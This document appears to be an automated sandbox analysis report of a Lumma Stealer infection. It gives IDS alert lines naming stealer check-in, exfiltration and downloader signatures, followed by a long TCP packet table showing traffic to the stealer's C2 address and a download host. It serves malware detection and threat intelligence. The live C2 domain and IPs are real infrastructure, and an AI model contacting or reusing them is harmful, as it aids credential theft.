2024-12-10T03:41:20.522745+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:20.522745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:22.384863+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:22.384863+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:24.711170+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49714	104.21.32.1	443	TCP
2024-12-10T03:41:24.711170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49714	104.21.32.1	443	TCP
2024-12-10T03:41:48.449801+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49775	104.21.32.1	443	TCP
2024-12-10T03:41:48.449801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49775	104.21.32.1	443	TCP
2024-12-10T03:41:49.385518+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49775	104.21.32.1	443	TCP
2024-12-10T03:41:50.807067+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49781	104.21.32.1	443	TCP
2024-12-10T03:41:50.807067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49781	104.21.32.1	443	TCP
2024-12-10T03:41:53.737047+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49792	104.21.32.1	443	TCP
2024-12-10T03:41:53.737047+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49792	104.21.32.1	443	TCP
2024-12-10T03:41:56.059120+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49798	104.21.32.1	443	TCP
2024-12-10T03:41:56.059120+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49798	104.21.32.1	443	TCP
2024-12-10T03:42:01.724107+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49809	104.21.32.1	443	TCP
2024-12-10T03:42:01.724107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49809	104.21.32.1	443	TCP
2024-12-10T03:42:03.591361+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49809	104.21.32.1	443	TCP
2024-12-10T03:42:05.039151+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49820	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 03:41:08.043600082 CET	49671	443	192.168.2.7	204.79.197.203
Dec 10, 2024 03:41:09.403031111 CET	49674	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:09.405467033 CET	49675	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:09.512434006 CET	49672	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:12.059708118 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:12.434202909 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:12.853771925 CET	49671	443	192.168.2.7	204.79.197.203
Dec 10, 2024 03:41:13.184207916 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:14.684220076 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:15.004513979 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:15.004530907 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:15.004635096 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:15.008325100 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:15.008347034 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:16.241420984 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:16.241503000 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:16.245959997 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:16.245971918 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:16.246260881 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:16.293613911 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:16.333275080 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:16.333297968 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:16.333461046 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:17.668641090 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:18.662193060 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:18.662292957 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:18.662492037 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:18.688538074 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:18.688584089 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:18.688606024 CET	49706	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:18.688615084 CET	443	49706	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:19.012406111 CET	49675	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:19.012407064 CET	49674	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:19.121840000 CET	49672	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:19.306495905 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:19.306515932 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:19.306585073 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:19.307045937 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:19.307058096 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:20.522636890 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:20.522744894 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:20.525338888 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:20.525345087 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:20.525630951 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:20.527044058 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:20.527071953 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:20.527129889 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.181210995 CET	443	49705	104.98.116.138	192.168.2.7
Dec 10, 2024 03:41:22.181368113 CET	49705	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:22.384896994 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.384964943 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.385019064 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:22.385032892 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.385107040 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.385149956 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:22.385159016 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.393184900 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.393220901 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.393290997 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:22.393300056 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.393357038 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:22.465511084 CET	49671	443	192.168.2.7	204.79.197.203
Dec 10, 2024 03:41:22.768243074 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:22.809258938 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.003361940 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.043703079 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.072405100 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.076473951 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.076502085 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.076642990 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.076654911 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.076699018 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.376380920 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.380494118 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.380561113 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.380574942 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.388823032 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.388899088 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.389051914 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.389061928 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.389080048 CET	49708	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.389085054 CET	443	49708	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.495754957 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.495780945 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.495887041 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.496248960 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:23.496263027 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:23.621859074 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:24.711016893 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:24.711169958 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:24.712975979 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:24.712981939 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:24.713257074 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:24.714657068 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:24.714868069 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:24.716795921 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:30.039773941 CET	49705	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:30.040532112 CET	49731	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:30.040572882 CET	443	49731	104.98.116.138	192.168.2.7
Dec 10, 2024 03:41:30.040649891 CET	49731	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:30.047971964 CET	49731	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:41:30.047986984 CET	443	49731	104.98.116.138	192.168.2.7
Dec 10, 2024 03:41:30.159111023 CET	443	49705	104.98.116.138	192.168.2.7
Dec 10, 2024 03:41:35.528064966 CET	49677	443	192.168.2.7	20.50.201.200
Dec 10, 2024 03:41:47.098176003 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:47.098289013 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:47.098371983 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:47.098553896 CET	49714	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:47.098572969 CET	443	49714	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:47.240519047 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:47.240551949 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:47.240627050 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:47.240935087 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:47.240943909 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:48.449672937 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:48.449800968 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:48.452481031 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:48.452487946 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:48.452728987 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:48.460901022 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:48.461038113 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:48.461072922 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:48.461296082 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:48.503333092 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:49.385526896 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:49.385649920 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:49.385848999 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:49.386049032 CET	49775	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:49.386071920 CET	443	49775	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:49.603395939 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:49.603430986 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:49.603535891 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:49.603899956 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:49.603914976 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:50.806921959 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:50.807066917 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:50.808546066 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:50.808552980 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:50.808823109 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:50.810236931 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:50.810398102 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:50.810436964 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:50.810496092 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:50.810504913 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:52.052964926 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:52.053062916 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:52.053112984 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:52.053227901 CET	49781	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:52.053234100 CET	443	49781	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:52.513848066 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:52.513864040 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:52.513946056 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:52.514416933 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:52.514430046 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:53.736973047 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:53.737046957 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:53.738229036 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:53.738243103 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:53.738467932 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:53.739546061 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:53.739615917 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:53.739622116 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:54.346965075 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:54.347084045 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:54.347225904 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:54.347251892 CET	49792	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:54.347265005 CET	443	49792	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:54.844280005 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:54.844336033 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:54.844516039 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:54.844752073 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:54.844764948 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.059055090 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.059119940 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.095046997 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.095062971 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.095320940 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.104679108 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.105930090 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.105969906 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.106592894 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.106626034 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.106714964 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.106779099 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.107580900 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.107604980 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.107990980 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.108016968 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.109863997 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.109894991 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.109905958 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.110538006 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.110572100 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.151334047 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.151521921 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.151566982 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.151583910 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.199331045 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.199525118 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.199580908 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.199613094 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.243334055 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.243451118 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:41:56.291337013 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:41:56.474694967 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:00.474884987 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:00.474987984 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:00.475078106 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:00.475323915 CET	49798	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:00.475341082 CET	443	49798	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:00.512130976 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:00.512168884 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:00.512264013 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:00.512908936 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:00.512919903 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:01.723984003 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:01.724107027 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:01.725362062 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:01.725369930 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:01.725617886 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:01.726814985 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:01.726814985 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:01.726887941 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:03.589076042 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:03.589184999 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:03.589375019 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:03.589464903 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:03.589464903 CET	49809	443	192.168.2.7	104.21.32.1
Dec 10, 2024 03:42:03.589488983 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:03.589498997 CET	443	49809	104.21.32.1	192.168.2.7
Dec 10, 2024 03:42:03.591399908 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:03.710124969 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:03.710315943 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:03.710388899 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:03.830441952 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.038831949 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.038865089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.038877010 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.038944960 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.038991928 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039002895 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039014101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039150953 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.039150953 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.039150953 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.039247036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039261103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039273024 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.039305925 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.039329052 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.159729004 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.159758091 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.159811020 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.230865002 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.230974913 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.231129885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.235006094 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.235107899 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.235158920 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.243257999 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.243349075 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.243397951 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.251480103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.251591921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.251668930 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.259731054 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.259821892 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.259869099 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.267965078 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.268038034 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.268085957 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.276170969 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.276300907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.276349068 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.284436941 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.284528971 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.284586906 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.292685986 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.292782068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.292834044 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.300890923 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.301002026 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.301060915 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.309142113 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.309200048 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.309259892 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.422785044 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.422882080 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.422940969 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.425373077 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.426321030 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.426369905 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.426424026 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.431480885 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.431538105 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.431586981 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.436583042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.436631918 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.436693907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.441754103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.441802025 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:05.441833973 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:05.446599007 CET	80	49820	185.215.113.16	192.168.2.7
